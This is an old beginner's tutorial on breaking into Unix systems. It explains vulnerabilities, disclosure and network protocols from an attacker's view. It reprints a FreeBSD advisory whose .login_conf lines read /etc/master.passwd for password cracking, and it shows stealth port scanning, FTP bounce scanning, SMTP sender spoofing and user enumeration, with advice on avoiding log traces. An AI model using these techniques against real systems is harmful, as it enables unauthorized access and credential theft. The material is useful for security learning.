# - HACKING UNIX -

**Author: detach (XT) - bofh@my.security.nl**
**WWW: http://www.duho.org/**

***INDEX:***

## Foreword

Yes, this is another tutorial trying to put 'all-in-one'. As far as I know there is not a good and recent written tutorial like this. Old texts do still have a value though, but I think much is obsolete now. Examples of such tutorials are:

```
* User's Guide 1.0 - Phantom
* A Novice's Guide to Hacking (1989) - The Mentor [LOD]
* NEWBIES HANDBOOK ; HOW TO BEGIN IN THE WORLD OF H/P - Plowsk¥ Phreak
* THE ULTIMATE BEGINNER'S GUIDE TO HACKING AND PHREAKING - REVELATION [LOA--ASH]
* Beginners Guide to VAX/VMS Hacking (1989) - ENTITY [Corrupt Computing Canada]
* THE NEOPHYTE'S GUIDE TO HACKING (1993) - Deicide
```

I have read all these when I was first interested and they didn't help me much in really learning the subject. Especially now much in these tutorials is outdated and irrelevant. But I think it's not bad to read them after all, this is oldskool hacking, which is always fun reading. Also take a look in the phrack archives (www.phrack.org) in the old issues, for a look in the past.

In no way am I nor any member of D.U.H.O responsible for criminal activity or damage caused by (ab)using this information.

# - HACKING UNIX -
# CHAPTER ONE:

## Security and Vulnerabilities

### 1.1. Audience

You're probably using windows and you're interested in hacking. You searched for hacking sites on the internet and there you found tools (wares) that you can use to hack other people. You have tried netbus and back orifice or other tools, you've collected them and put them on a new 'hacking page'. You found out that you need a strong l33t handle that reflects your skillz; like "inv1sibl3 predat0r". You have hacked into your friends' computers and your friends are truly impressed and people phear you.

Allright it's over now. Did you ever try any of your stupid warez against your internet service provider's webserver uh? Didn't work exactly did it? Well, I think that's why you're here right? Well, you're still a zombie and I hope that I'll break the lameness out of you with this tutorial so you can work on becoming a true and well respected hacker for the community. You'll find out that hacking is not about the results it will give you, it's the act itself that drives the hacker. Eventually only a few of you will survive.

### 1.2. Conventions

I wanted to make this paper accessible for both beginners and more advanced readers. Therefore, explanations (like technical jargon) are explained in side-comments.

E.g.:
....the inetd superdaemon....

*{*

*The Inetd superdaemon is a service that handles network connections for network services that use it.*

*}*

This way, the more advanced reader isn't bothered with information that he already knows, and the beginner is still able to understand what I am talking about.

### 1.3. Orientation

In a nutshell these are the steps the hacker takes:
An attacker first searches a system that he interested in. Then he explores the system and it's weaknesses, break into the system and get full control over the system, remove the traces of the hack and use methods like backdoors to keep access to the system.

*{*

*Exploring the system means evaluating it's security and see if you are capable of breaking in. In this stage you have to make sure you are not showing the victim that you are trying to break in!*

*}*

*{*

*Breaking into the system means finding vulnerabilities in the configuration of a system, or see if there is a known vulnerability in the software and exploiting them.*

*}*

In the first few parts I will cover all the steps the attacker takes. You should then understand how attackers attack, and -with some practice- be able to do it yourself. In the later parts (the advanced section) I will go deep into hacking issues, I will talk about low-level network attacks, trust relations, encryption, authentication and everything.
In this first part I skip the information gathering (profiling) of your victim, and start off by introducing you with vulnerabilities; the problems in systems that make attacks possible.

## 1.4. Vulnerabilities

Programs have bugs and bugs can often be taken advantage of.

*{*

*Bugs that can be taken advantage of to bypass security restrictions are called vulnerabilities.*

*}*

This chapter introduces you to the community that searches and fixes vulnerabilities.
If some individual finds a vulnerability in a server application like the apache webserver (HTTP server) the individual often notifies the vendor (the apache project in this example) of the problem. The vendor then looks into the problem and fixes the vulnerability. The fix is then provided to the users of the apache webserver in the form of a work-around, a patch or a new release.
People are made aware of the vulnerability in the product they use, and fix their servers, or they don't. Because of this, vulnerabilities are often present in certain versions. So if the attacker finds out which version of a product the victim uses, he might find out that his victim uses a vulnerable version of the product.
This being said, the chance of being able to attack the target through a known vulnerability depends on the degree of detail that the founder of the problem has disclosed in his publication of the problem.

*{*

*Papers/Articles that discuss a security vulnerability are called 'advisories'.*

*}*

### 1.4.1 Full-disclosure

When someone releases the details of a security problem in the degree that another individual is capable of reproducing the "state of exploitation"*, we call it a "full-disclosure advisory"

*{*

*The "state of exploitation" means 'the compromise of whole or part of the target's environment* after bypassing the security-policy that the target should have enforced.*

*Bypassing the intended security restrictions are -of course- discussed in the (full-disclosure) advisory.*

**What exactly I mean with 'environment' in this context will be explained in chapter 4.3.*

*}*

#### 1.4.1.1 Advantages and Disadvantages

The full-disclosure method has advantages and disadvantages for security.

Disadvantages of Full-Disclosure:
The disadvantage for security when writing and publishing a full disclosed advisory is that many people are capable of attacking vulnerable servers. And as many administrators do not care about vulnerabilities in software they use, they have a high chance of being hacked by evil people like you ;-}.

Advantages of Full-Disclosure:
The advantage of full-disclosure is that security-conscious programmers will learn what programming methods are insecure. It also presses the vendors of programs to quickly fix their crap and make sure it doesn't happen again.

Full-disclosure has another advantage; admins will feel themselves pressured to keep their software up-to-date as many people in the public are capable of exploiting the software.

### 1.4.2 Exploit code

Full-disclosure reports often include 'exploit-code' which makes it even easier to reproduce exploitation state, sometimes the 'sploit-code' is this user-friendly* that a kid could break into a system with it.

*{*

**Though, most of the time the (ab)user has to modify the exploit program alittle to make it work against his target.*

*}*

Exploit code is simply a program that will automatically reproduce exploitation state when you point it to a vulnerable server that runs the vulnerable software.
The exploit-code is supposed to only be used by admins to test if their systems are vulnerable. Therefore, some of the exploit code only proves that the vulnerability exists without being usable for attackers. Although a good attacker knows how to modify the exploit program to fit his needs.
When someone releases an advisory but doesn't include an exploit, it often doesn't take long before someone writes one and submits it to bug tracking mailing lists and exploit archive sites.

### 1.4.3 'Access Levels' and 'Environments' and 'Security'

When an attacker exploits a network service, this often doesn't mean that the system is fully compromised yet. Most network service programs do not require full system access for their tasks and are preferred to have low-privileges.

*{*

*Privileges involve access control rights on files, network resources, memory access, system calls etc. This will be called the program's (or users') 'environment' throughout the rest of this guide.*

*}*

Though sometimes a network service requires superuser privileges for certain tasks. A good process only runs particular tasks with super-user privilege and not the whole process.
When an attacker compromises whole or part of a target process' the attacker at least has a more flexible environment where it becomes easier to gain superuser privileges.

*{*

*The scenario where the attacker has compromised an environment where he can read files and execute programs is called 'local access'. Many admins don't really care about vulnerabilities in programs that are not accessible through network services and often don't bother to fix these problems because it doesn't seem like a direct threat.*

*}*

No system is totally secure, all an admin can do to minimize the danger of a vulnerable or misconfigured server program, is to minimize the resources the programs have access to. This minimizes the environment of an attacker that gained access to that program's environment and makes it harder for the attacker to gain full access.

*{*

*A good security setup is created by first disabling everything, and then discover what *has* to be enabled.*
*After that the admin simply fixes known security problems when they come out.*

*}*

So security is all about evaluating what privileges a program or user needs (and doesn't need).
The 'environment' I'm talking about is enforced by the kernel. The kernel allows or denies access to files, to network sockets, to I/O devices and all.

*{*

*A webserver has a directory like '/var/www/htdocs' where the DocumentRoot of the HTTP service resides. The webserver program itself is allowed to access the /etc, /usr, /home and /proc directory's by the operating system. So the environment that the operating system provides to the webserver program is much wider than the environment that the webserver provides to site visitors;*
*It only gives read access to /var/www/htdocs/, and all attempts to access directories beneath htdocs/ are denied by the webserver. Any successful attempt to break out of the virtual environment that is provided by the webserver is vulnerability.*

*Such a vulnerability will give a degree or full access to the webservers environment within the system. A full access to the webserver's environment means that we can execute programs, browse directory's and read all files that the webserver program has access to within the system.*

*}*

## 1.5. Where do vulnerabilities occur?

Basically vulnerabilities occur in (to list some):

- input handling
- configuration errors
- communication
- trust relationships
- authentication handling
- cryptography bugs
- wrong security policy

So it happens everywhere... it happens at the vendor of a specific program. It happens at the operating system vendor which puts programs into a distribution. It happens when admins install things wrong or set things wrong. It happens when communication protocols are unreliable. It happens between communication of programs. It happens when users are stupid. It happens when two programs on a system form security problems.

## 1.6. Who finds vulnerabilities

Real hackers find the vulnerabilities.

*{*

*Hackers search for ways to make a *system do things that shouldn't be possible.*
**A system can be anything: a program, a user (person), a protocol.*

*}*

A hacker will examine a program on how it works.

*{*

*This is done for example through tests, reverse engineering or*
*simply reading the *source code.*

*Source code (for the total beginner) are the programmers'*
*instructions in a certain programming language that make up the*
*program before it is converted into machine language.*

*}*

He will learn about the procedures a program takes and he will investigate whether the methods used are secure. The procedures might rely on other software, kernel calls and network communication.

To make you understand, here's a security advisory to make you see what I mean;

```
Date:          Thu, 20 Sep 2001 21:48:34 +0200
From:          "Przemyslaw Frasunek" <venglin@freebsd.lublin.pl>
Subject:       Local vulnerability in libutil derived with FreeBSD 4.4-RC
               (and earlier)
Organization:  babcia padlina ltd.
To:            <bugtraq@securityfocus.com>
```

Hello, OpenSSH derived with FreeBSD 4.4 (and earlier) doesn't drop privileges before messing with login class capability database. The most problematic is:

```
        if (newcommand == NULL && !quiet_login && !options.use_login) {
                fname = login_getcapstr(lc, "copyright", NULL, NULL);
                if (fname != NULL && (f = fopen(fname, "r")) != NULL) {
                        while (fgets(buf, sizeof(buf), f) != NULL)
                                fputs(buf, stdout);
                                fclose(f);
and
                f = fopen(login_getcapstr(lc, "welcome", "/etc/motd", "/etc/motd"), "r");
[...]
                        while (fgets(buf, sizeof(buf), f))
                                fputs(buf, stdout);
                        fclose(f);
```

in session.c, which allows to read ANY file in system with superuser privileges, by defining:

```
default:\
 :copyright=/etc/master.passwd:
```

or

:welcome=/etc/master.passwd: in user's ~/.login_conf. login(1), which is suid and spawned by telnetd also is vulnerable to similar attack:

```
       if (!rootlogin)
                auth_checknologin(lc);
[...]
        (void)setegid(pwd->pw_gid);
        (void)seteuid(rootlogin ? 0 : pwd->pw_uid);
```

Checking for nologin is performed with superuser privileges.
auth_checklogin() is libutil function which displays nologin file, as defined in login capability database. User can read ANY file in system by defining:

```
default:\
 :nologin=/etc/master.passwd:
```

FreeBSD core team has been aleady informed and official patches were incorporated into CVS repository *before* 4.4-RELEASE, although 4.4-RC and earlier verions are vulnerable and needs to be patched with:

http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/lib/libutil/login_cap.c?rev=1.17.2.3&content-type=text/plain

Official advisory is pending. It's possible, that other *BSD systems, supporting login capability database are also vulnerable.

```
--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE
```

```
*
* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF
*
```

This is a nice full-disclosure advisory example: It explains the programming error, the way it can be exploited and it links to the vendor's patch. I don't expect you to understand this advisory, but you should have figured out how it can be exploited (on unpatched systems). What it says is that a user can create a file called '.login_conf' (which is probably already there) in their home directory, and when putting a line like:

```
----
default:\
:copyright=/etc/master.passwd:
----
```
or
```
----
default:\
:welcome=/etc/master.passwd:
----
```

in the .login_conf file, the login process will then read that file once you re-login. And because it still has root privileges (it doesn't return to it's normal user-id) you can place any file name in the .login_conf, and it will be displayed when you log in! This means you can read the master.passwd file where the password-hashes for all users are stored. Of course that file should not readable for a normal user. But if you are able to read it, like in this case, you can perform a brute-force attack using password-crackers like CRACK-5.0, and then it will only be a matter of time before you the root password is recovered.
*{*

*Though when the root users' password consists of more than 8 characters and he uses a combination of numeric and alphanumeric and other characters as a password, it might take the fastest computer on earth over a year to crack it.*

*}*

Now back to the subject...
Note that the hacker had first informed the vendor FreeBSD which created a patch. After the patch was released, the hacker posted the vulnerability information as full-disclosure advisory to the BugTraq mailing list and included a link to the patch (the fix) for the bug which FreeBSD released.
There are also people that don't report bugs to vendors and the public and use their information for their own sake.
There are a lot people in the underground (black-hat hackers) that keep the information to themselves. Exploits which are not publicated are called zero-day's (0-day).

There is nothing you can do about that, you can only minimize the risk by disabling services that you don't need. And you can restrict service programs that you do need as explained in *chapter 4.3.*

# - HACKING UNIX -
# CHAPTER TWO:

**System Profiling**

## 2.1. Introduction

Okay, I introduced you to vulnerabilities in the first part to keep the spirit of hacking with us. But not less important to understand is how we search for vulnerabilities. It may not be hard to find them, but it's important to not raise any alerts in this stage. We want to leave less than fingerprints rather than footprints in the logs. This step involves network services, network protocols and application protocols.

You know that we want to attack applications in a remote system. So we should find out which applications run on the remote server that can be interacted with. Any software that is accessed remotely on the server can suffer a security hole. In this step we have no access to the server or whatsoever, so we need to take a good look at outside of the nut before cracking it.

When we can only look from the outside of the server we only have it's network services* that possibly contain a hole somewhere.

*{*

** Client-Server model - The server is a host computer that employs particular service software to serve a client. The service passively waits for a client to call for it's service. There are standards towards how a client and a service should talk to each other (the protocol).*

*}*

One thing we can do is use all kinds of clients for different network services like FTP, WWW (HTTP), email and stuff like that to see what services are running out there. But we could do better than that, but this requires us to know a little about network protocols and application protocols.

## 2.2. Protocols

### 2.2.1 Network Protocols

The internet is a network of computers which all have an identifying number, the IP number (Internet Protocol Number). Every computer or other device connected to the internet has an Internet Protocol number.
IP is built into the operating systems of these devices. Simply stated, all IP networked systems capture the IP data packets that are destined to their selves, and try to forward those destined to other addresses (numbers).

*{*

*All that IP is ought to do is reliably routing (for IP) unknown data to any address on the network. This is a shared responsibility of all IPs that reside on the network.*

*}*

But in order to actually communicate information we use higher level protocols (on top of IP - Or: encapsulated in IP packets):
Between the IP protocol and the application we have the transfer protocol. On the internet there are two major transfer protocols; UDP and TCP. When IP receives a datagram destined to it's own address, it forwards the packet to one of the transfer protocol modules in it's operating system. IP knows which module should handle it because the sender writes the destination (transfer) protocol number on the packet. Like '6' for TCP. The transfer protocol module has a series of addresses available (ten thousands of them) where communication applications can listen on (passive mode) or sent to (active mode). So the sender must also add information to the protocol header which port (address) the application should be listening on.

For example:

*{*

*When a TCP port is open there is almost always an application listening on that port to start a session with any client that connects.*

*}*

TCP provides ports 1 through 65535 for connections. So how does a client know which TCP port to connect to? That's easy, for all known services like HTTP we have well-known ports. To make a service application publicly available you use the well-known port. HTTP has TCP port 80 to listen to.

*{*

*NOTE: These well-known ports are not a standard defined in the TCP specification! As far as TCP is concerned, it would be happy to address ANY kind of service on ANY port, even well-known ports. Only, the application protocol specification recommends the use of a certain port. If you want to hide your webserver or FTP server, you could set it on a different port (if your software is configurable for it). This hiding of course is 'security through obscurity' and it won't hide from curious people.*

*}*

And when you type in an IP address in your browser, which has a HTTP server running, you will receive the webpage through the connection.

## 2.2.2. Application Protocols:

I'm going to introduce you to several well-known application protocols just a few pages ahead of you. First you should know what basically an application protocol is for.
An application protocol is a language for requesting resources of any kind in a certain format. Resources may be; file transfer; information; news; sound transfer and mail.

## 2.3. Portscanning well-known network services

In order to find out which network services are available on a remote computer, we could simply try out some different clients and see the results. But I think you can figure another way if you have read the former chapter.

We can 'scan' for TCP ports (and UDP ports) simply by trying to connect to every possible port and see which ones are open.
So see which port numbers are open and compare them to a list of well-known services. I have a list of the most well-known services and their ports here:

```
21      -       FTP (File Transfer Protocol)
22      -       SSH (Secure SHell)
23      -       TELNET
25      -       SMTP (sendmail server)
53      -       DNS (Domain Name Service - Nameserver)
79      -       FINGERd (finger daemon)
80      -       HTTPd (Hyper Text Transfer Protocol Daemon)
110     -       POP3 (Post Office Protocol version 3)
111     -       SUNRPC Portmapper (SUN's Remote Procedure Call service port mapper)
```

You can program your own scanner but I bet it won't be as l33t as Fyodor's nmap so give it up. Download Nmap from http://www.insecure.org/nmap/. Nmap has many features to stay undetected. For the following example I will use the old stealth scan option in nmap to scan myself okay?:

```
bash# nmap -sS localhost

Starting nmap V. 2.54BETA29 ( www.insecure.org/nmap/ )
Interesting ports on localhost (127.0.0.1):
(The 1541 ports scanned but not shown below are in state: closed)
Port       State       Service
22/tcp     open        ssh
25/tcp     open        smtp
80/tcp     open        http
587/tcp    open        submission
1024/tcp   open        kdm
1988/tcp   open        tr-rsrb-p2
6000/tcp   open        X11

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
bash5#
```

Ewh damn, looks pretty insecure, should have installed firewall but who carez.

We go on to the next chapter now, don't worry; you'll see a lot of the use of portscanning techniques later.

## 2.4. Widely used Application Protocols - Detailed

Most application protocols (which I will just call protocols for the rest of this chapter) are easy to interact with by normal humans without using a special User-side protocol interpreter. Perhaps this is because most protocols that are developed in the early 70s use simple commands like 'GET <file>' and 'user <name>' and 'mail from: <mailaddress>'.

*{*

> *This was back in the time that opensource was all there was. In the present the company's try to hide the workings of their protocols to create a monopoly. That these protocols look so easy doesn't mean they are not good, why do you think they survived for somany years?*

*}*

It shouldn't be hard to build your own clients when you are a programmer.

The knowledge of each protocol is very important for a hacker. In this chapter I will give you some practical examples which you can try out. You will need a TELNET application (most systems just have a program 'telnet' in console mode which will do; even windows has!). And you need the netcat program for some of them.

*{*

> *Netcat is a very 'basic' yet advanced application, it is the swiss army-knife of the hacker. With netcat you can initiate UDP and TCP connections in full-duplex (like telnet), netcat can handle binary data and you can open a port in passive listening mode on the port you specify (which is very convenient you'll see). Download netcat here: http://packetstormsecurity.org/UNIX/netcat/nc110.tgz*
>
> ************* Download+Install netcat: *********************

```
--
bash# mkdir netcat
bash# cd netcat
bash# lynx -source http://packetstormsecurity.org/UNIX/netcat/nc110.tgz > nc110.tgz
bash# tar xvzf ./nc110.tgz
bash# make Linux
--
```

*If you get this compiler error:*

```
------
make -e nc  XFLAGS='-DLINUX' STATIC=-static
make[1]: Entering directory `/root/netcat'
cc -O -s         -DLINUX -static -o nc netcat.c
/tmp/ccZHNpqq.o: In function `main':
/tmp/ccZHNpqq.o(.text+0x15b7): undefined reference to `res_init'
collect2: ld returned 1 exit status
make[1]: *** [nc] Error 1
make[1]: Leaving directory `/root/netcat'
make: *** [Linux] Error 2
------
```

*If you got that compiler error you must remove the following ifdef from the netcat.c file:*

```
------
#ifdef HAVE_BIND
/* can *you* say "cc -yaddayadda netcat.c -lresolv -l44bsd" on SunLOSs? */
  res_init();
#endif
------
```

*And reinitiate 'make Linux'.*

*The compiler didn't show any errors anymore, you can run netcat with:*

```
# ./nc
```
*}*

I'm glad you made it this far. We're gonna use netcat to learn how services really work. After this chapter you should be able to do a lot of things without requiring a special client. You would be able to email without using a mailer, you can read files on webservers without a webbrowser, you will download files without an ftp client program.

*{*

*In the past there were many people simply using TELNET to send mail, but people have become lazy and they demand a flashy graphical user interface to get turned on. Hèhè funny to note; I have heard about someone that was fired at his job because people thought he was hacking; he was checking his POP3 mail with telnet.exe because his outlook crap seemed dead :-}. So I want to remember you; I'm not responsible! hhh*

*}*

I encourage you to lookup the Request for Comments (RFCs) at www.rfc.org.uk to learn more about a specific application protocol (or transfer and communication protocols). Hacking is about understanding a system so you can defeat it remember? So if you know how a standard *should* be implemented, you can test if vendors of services implement the standard securely.

I will introduce you to the following services in a practical manner: FTP, SSH, TELNET, SMTP, HTTP, POP3

## 2.4.1 FTP - File Transfer Protocol

FTP is a pretty simple protocol to use. FTP uses a control connection and a data connection. The control connection is initiated by the client PI (Protocol Interpreter) and it is used to send commands. The control connection uses TELNET control characters like <CRLF> (Carriage Return and Line Feed). So if we can't use an FTP client we can use the telnet client for the control connection. And concerning the data connection... that's where netcat comes in. Let's just start a session. First you got to know that everything starting with a 3-digit number is the reply of the FTP server, the rest are my commands. I use console tty1 for the control session and I use netcat in console tty2 for the data connection:

```
 Console TTY1                   | Console TTY2
--------------------------------|--------------------------------------------
bash# telnet ftp.kernel.org 21  | bash#
Trying 204.152.189.113...       |
Connected to zeus.kernel.org.   |
Escape character is '^]'.       |
220 ProFTPD 1.2.2 Server        |
USER anonymous                  |
331 Anonymous login ok,         |
    send your complete email    |
    address as your password.   |
PASS asdf@asfd.com              |
230-   Welcome to the           |
                                |
    LINUX KERNEL ARCHIVES       |
      ftp.kernel.org            |
                                |
 "Much more than just kernels"  |
                                |
230 restrictions apply.         |
                                |
PORT 213,93,39,87,4,1           | bash# nc -v -v -l -p 1025
200 PORT command successful.    | listening on [any] 1025 ...
NLST                            | connect to [213.93.39.87] from zeus.kernel.org [204.152.189.113] 20
150 Opening ASCII mode data     | lost+found
    connection for file list.   | pub
226 Transfer complete.          | welcome.msg
                                | for_mirrors_only
                                | debian
                                | debian-cd
                                |  sent 0, rcvd 67
                                | bash#
--------------------------------|--------------------------------------------
```

The console on TTY1 is used for the control connection, and the TTY2 console represents the data connection. With the PORT command you specify which local data port we use to receive the data (a file, a directory listing etc.). So the command looks like this;

```
PORT h1,h2,h3,h4,p1,p2
```

the h* represents the IP address of yourself, and the p* is for the port address (TCP). When I don't have my local port open I will get an error:

```
PORT 213,93,39,87,4,2
200 PORT command successful.
LIST
425 Can't build data connection: Connection refused
```

So in this case port 1026 was not listening on my PC... if I had a netcat in listening passive mode like in the example or like this: ./nc -l p 1026 I would have received the listing. By the way; the NLST is almost same as LIST only it shows less information on the filelist.

In the past it was possible to create a data connection on a different system, with a different address, like this (I am using 213.93.39.87 as IP and I'm gonna try to retrieve a file on the IP address 213.93.39.1):

```
PORT 213,93,39,1,4,1
500 Illegal PORT command.
```

This is illegal because I don't use my own IP address. I think it's a pitty that you can't receive the file on another system. It was possible in the past but it happens to open a security vulnerability. Where it is enabled you could abuse it to scan ports of a server with it in this way:

```
-------
PORT 213,93,39,1,4,2
200 PORT command successful.
LIST
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
PORT 213,93,39,1,4,1
200 PORT command successful.
LIST
425 Can't build data connection: Connection refused
-------
```

You see, on host 213.93.39.1 the port 1026 is open and port 1025 is closed. You'll have a hard time finding hosts nowadays that suffer this FTP bounce attack. It can also be used to execute certain exploits this way. You should have noted that this technique is of interest to attack a third system without revealing your address on the internet but that of the FTP server.

Now I bet you wondered what a weird port address I was entering (4,1). Well... it's easy, p1 and p2 are both 8bit so I need to define the port address I want to use and then / 256... so if I want to use port 1024 I do 1024 / 256 = 4,0 What is 4 times 256 ?? 1024!

Here are some other commands for the control connection:

```
CWD <directory>       (change working directory to... -> (allows only one dir at a time))
RETR <file>           (RETRieve file through data connection (setup netcat!))
PASV                  (tells which port the server is listening to for uploads over data connection)
STOR <file>           (dump the file using netcat to the remote port found with PASV)
PWD                   (prints current working directory)
RNFR                  (first command specifying the current name of path to change)
RNTO                  (Rename To ... second command to complete rename of file)
ABOR                  (stop data transfer in data connection)
DELE <file>           (delete file)
RMD <directory>       (remove empty directory)
MKD <directory>       (create directory)
SITE                  (varies coz these are site specific commands, lookup with HELP SITE)
```

Using this information you should be able to browse FTP servers simply with telnet and netcat! :)))

### 2.4.2 SSH - Secure SHell

I don't know much about the internals of SSH. I use it myself by replacing it for TELNET and FTP. For what I know of SSH is that it exists of three layers; the transport layer, the user-authentication layer and the connection-layer. I believe the Transport-layer of SSH is the lowest of the layers which delivers a secure transport layer before the authentication proceeds. Then the user logs in and the password (and the rest of the communication) cannot be captured in a readable form by spies on untrusted networks. The connection protocol serves the session. A login is almost similar to telnet:

```
bash# ssh -l user localhost
XT@localhost's password:
Last login: Mon Sep 24 18:52:36 2001
Linux 2.4.9.
```

A student who changes the course of history is probably taking an exam.

```
user@stealth:~$
```

As I said, I only use SSH, I never used it to hack into a system... but I know of difficult attacks involving hijacking of sessions and stuff like that. You should search for it yourself.

### 2.4.3 TELNET

The telnet protocol itself is a simple standardization of control characters for terminal usage so that users at different systems can login to a system while using the TELNET standard. People can use different keyboards and different keyboard control characters, different operating systems, telnet converts the characters into a defined standard character set.

There is an IAC (Interpret As Command) byte followed by the control code. The IAC has the value 255 (FFh) followed by the TELNET command code. TELNET commands include erasing a character or a line, break input and interrupt process.
When you connect to the TELNET login service you are asked for username and password. What happens behind the scene?

The Inet super daemon listens on port 23, when someone connects the in.telnetd process is run which in turn runs the login process

*{*

*The INET SuperDaemon is a service that is able to run a specific Unix network service when a connection for that particular service is requested. It is configured like this (config file);*

```
ftp      stream  tcp     nowait  root     /usr/sbin/tcpd   proftpd
telnet   stream  tcp     nowait  root     /usr/sbin/tcpd   in.telnetd
```

*You see... if there is someone knocking on port 23, the inetd service runs in.telnetd.*

*In Unix systems you can separate services in processes of INETD or standalone. Apache webserver almost always runs standalone (I don't even know if it is ever put under INETD parent)*

*}*

When the login process has successfully authenticated a user it will check which shell to spawn in /etc/passwd:

```
user:x:1004:100:,,,:/home/duho:/bin/bash
```

*{*

*Only notice '/bin/bash'.. the rest is explained later in this book*

*}*

As you see the user 'user' gets the bash shell (bourne-again shell). This is very simple. On recent systems the superuser 'root' is not allowed to telnet into the box.. So don't be lame to try 'root' with password 'root' logins as I've seen a lot in the past (people trying that on my box). Oh yeah, I've got to admit that I've tried this stuff when I was a newbie :). But I don't believe there's even one Unix box on the internet nowadays where the password of root is root and while the telnet service enables root logins. All login tries are logged on Unix systems so don't be stupid to try passwords.

I'll do one example telnet login:

```
bash# telnet
telnet> o localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
```

```
stealth login: user
Password:
Linux 2.4.9.
Last login: Tue Sep 25 15:45:26 +0200 2001 on pts/10 from localhost.
No mail.

People say I live in my own little fantasy world... well, at least they
*know* me there!
                -- D.L. Roth

XT@stealth:~$ logout
Connection closed by foreign host.
bash#
```

## 2.4.4 SMTP - Simple Mail Transfer Protocol

SMTP is only for sending mail, retrieving mail is often done from POP3 or IMAP services. SMTP is easier to use than FTP. So this goes quick.

```
telnet <sendmail-server> 25
```

*Example:*

```
bash# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 stealth.duho ESMTP Sendmail 8.11.6/8.11.4; Tue, 25 Sep 2001 17:15:21
+0200
HELO x
250 stealth.duho Hello localhost [127.0.0.1], pleased to meet you
MAIL FROM:me@wonderland.net
250 2.1.0 me@wonderland.net... Sender ok
RCPT TO:duho@my.security.nl
250 2.1.5 duho@my.security.nl... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Subject: Haia
How's life?

Me.
.
250 2.0.0 f8PFFqN10598 Message accepted for delivery
quit
221 2.0.0 stealth.duho closing connection
Connection closed by foreign host.
bash#
```

First you saw the banner, and you see I'm running sendmail 8.11.6.
The command sequence is always the same:

```
HELO <hostname>
MAIL FROM:<mailaddress>
RCPT TO:<mailaddress
DATA
<type message>
```

You can make the sender address anyone you like, only your IP address is still known. When I receive the message it looks like this (with all headers):

```
From me@wonderland.net  Tue Sep 25 08:21:07 2001
Return-Path: <me@wonderland.net>
Received: from smtp3.hushmail.com (smtp3.hushmail.com [64.40.111.33])
       by pl1.hushmail.com (8.9.3/8.9.3) with ESMTP id IAA23863
       for <duho02b3e22238@pl1.hushmail.com>; Tue, 25 Sep 2001 08:21:07
-0700
From: me@wonderland.net
Received: from stealth.duho (e39087.upc-e.chello.nl [213.93.39.87])
       by smtp3.hushmail.com (Postfix) with ESMTP id 124E1F010
       for <duho@my.security.nl>; Tue, 25 Sep 2001 08:21:05 -0700 (PDT)
Received: from x (localhost [127.0.0.1])
       by stealth.duho (8.11.6/8.11.4) with SMTP id f8PFFqN10598
       for duho@my.security.nl; Tue, 25 Sep 2001 17:16:16 +0200
Date: Tue, 25 Sep 2001 17:16:16 +0200
Message-Id: <200109251516.f8PFFqN10598@stealth.duho>
Subject: Haia
To: undisclosed-recipients:;
Status: RO

How's life?

Me.
```

You see, each mailserver that has been used on the path prepends the information header to the complete message. So you can track down which host has sent the message:

```
Received: from stealth.duho (e39087.upc-e.chello.nl [213.93.39.87])
```

When using a normal mailer your mailer could put a line X-Mailer that reveals the mailer program and version, which was used.. This is important information if you want to hack the user, which sent you the message, there must be a bug in the software (especially if Microsoft mailers are used).

```
From XT@asdf.com  Tue Sep 25 09:46:14 2001
Return-Path: <me@wonderland.net>
Received: from smtp3.hushmail.com (smtp3.hushmail.com [64.40.111.33])
       by pl1.hushmail.com (8.9.3/8.9.3) with ESMTP id JAA26305
       for <duho02b3e22238@pl1.hushmail.com>; Tue, 25 Sep 2001 09:46:14
-0700
Received: from stealth.duho (e39087.upc-e.chello.nl [213.93.39.87])
       by smtp3.hushmail.com (Postfix) with ESMTP id E374EF007
       for <duho@my.security.nl>; Tue, 25 Sep 2001 09:46:12 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1])
       by stealth.duho (8.11.6/8.11.4) with ESMTP id f8PGgBa11137
       for <duho@my.security.nl>; Tue, 25 Sep 2001 18:42:11 +0200
Date: Tue, 25 Sep 2001 18:42:11 +0200 (CEST)
From: hadf <me@wonderland.net>
X-X-Sender:  <user@stealth.duho>
To: <duho@my.security.nl>
Subject: asdf
Message-ID: <Pine.LNX.4.33.0109251842050.10885-100000@stealth.duho>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status: RO
```

```
hellow
---------

Okay, Pine doesn't include a X-Mailer in the header, but I can still seen that I was using Pine 4.33:

Message-ID: <Pine.LNX.4.33.0109251842050.10885-100000@stealth.duho>

And I think the 'LNX' means Linux.

There is one more interesting feature in SMTP servers. Some older messengers may reveal a persons,
mine does not (user XT exists on my system but this version of sendmail lies that he doesn't):

----------
bash-2.05$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 stealth.duho ESMTP Sendmail 8.11.6/8.11.4; Tue, 25 Sep 2001 18:47:46
+0200
vrfy XT
550 5.1.1 XT... User unknown
VRFY root
250 2.1.5 <root@stealth.duho>
```

Okay, it didn't lie that user root exists, but that's because nobody believes that it doesn't. EXPN is also something like that.. if there is a mailinglist on the server it should (by the standard) reveal the contents of its users.
I think there's not much more to say about sendmail except that it has a past of many security problems.

## 2.4.5 DNS - Domain Name System

Well, I believe I told you something about name<->address resolution, now I will cover the major aspects on DNS.
A hostname consists of a several names separated with dots, like: duho.cjb.net. or www.duho.cjb.net.

The root of the tree is a '.' (dot), the big-ending name is a top-level domain like 'net', 'org', 'com', 'country' (like '.uk'). These days the top-level domains '.net', '.org', '.com', are in the hands of corporate authorities. You can buy (register) a second level domainname from them (if not yet registered). In far history these top-level domains were in the hands of the government (government has .mil, .gov). Country's have their own top-level domains like 'nl', 'uk', 'us', 'de', 'be' etc. You can register domain names from the affected authorities too.

When you bought a second level domain, you need to configure an authoritive name server. You can have more than one nameserver to split the load... you have at least a primary or master nameserver and possibly some slaves. At the primary nameserver you configure the third-level domains like 'academy' or 'students' or 'hq', and there under you can have even more etc... you can also have separate nameservers for each third, fourth etc. domains you have in your domain.

You just have to configure your zone files on the primary name servers, and slaves can do zone transfers to assist the primary nameservers by taking some of the load.

